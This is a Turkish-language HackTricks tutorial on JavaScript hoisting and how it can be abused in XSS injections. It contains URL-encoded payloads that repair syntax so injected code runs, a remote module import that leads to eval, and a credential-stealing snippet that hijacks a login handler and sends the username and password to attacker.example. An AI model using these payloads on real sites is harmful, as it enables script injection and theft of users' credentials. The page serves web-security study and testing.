JS Hoisting
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
JavaScript dilinde, değişken, fonksiyon, sınıf veya import bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği Hoisting adlı bir mekanizma vardır. Bu süreç, script'i birden fazla geçişte işleyen JavaScript motoru tarafından otomatik olarak gerçekleştirilir.
İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir soyut sözdizim ağacına (abstract syntax tree) dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir süreçtir. Parse aşaması başarılı olup sözdizimi hatası yoksa script yürütülmesine devam edilir.
Şunu anlamak önemlidir:
- Script'in yürütülebilmesi için sözdizimi hatası içermemesi gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır.
- Kodun script içindeki yerleşimi hoisting nedeniyle yürütmeyi etkiler; yürütülen kod metinsel gösteriminden farklı olabilir.
Hoisting Türleri
MDN'den alınan bilgilere göre JavaScript'te dört farklı hoisting türü vardır:
- Value Hoisting: Bir değişkenin değerinin, deklarasyon satırından önce kapsamı içinde kullanılabilmesini sağlar.
- Declaration Hoisting: Bir değişkene deklarasyonundan önce kapsamı içinde başvurmayı
ReferenceError
oluşturmadan sağlar, ancak değişkenin değeriundefined
olur. - Bu tür, değişkenin gerçek deklarasyon satırından önce bildirilmiş gibi davranılmasından dolayı kapsam içindeki davranışı değiştirir.
- Bildirimin yan etkileri, onu içeren geri kalan kod değerlendirilmeden önce gerçekleşir.
Detaylı olarak, function deklarasyonları type 1 hoisting davranışı gösterir. var
anahtar kelimesi type 2 davranışı gösterir. Lexical deklarasyonlar, let
, const
ve class
dahil, type 3 davranışı gösterir. Son olarak, import
ifadeleri hem type 1 hem de type 4 davranışlarla hoisted oldukları için benzersizdir.
Senaryolar
Bu nedenle, eğer kullanılmamış (undeclared) bir obje kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolar varsa, onu bildirerek sözdizimini düzeltebilir (böylece hata fırlatmak yerine kodunuz çalıştırılır):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Daha Fazla Senaryo
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
const ile bir ismi kilitleyerek sonraki bildirimleri önleyin
Eğer bir üst düzey function foo(){...}
ayrıştırılmadan önce çalıştırma yapabiliyorsanız, aynı isimle leksikal bir bağlama tanımlamak (ör. const foo = ...
) daha sonra gelen function bildirimlerinin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları ele geçirmek için RXSS'te kötüye kullanılabilir:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Notlar
- Bu, yürütme sırasına ve global (üst-seviye) kapsamına dayanır.
- Eğer payload'unuz
eval()
içinde çalıştırılıyorsa,eval
içindekiconst/let
'in blok kapsamlı olduğunu ve global bağlamlar oluşturmayacağını unutmayın. Gerçek bir globalconst
oluşturmak için kodu içeren yeni bir<script>
elementi enjekte edin.
Kaynaklar
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.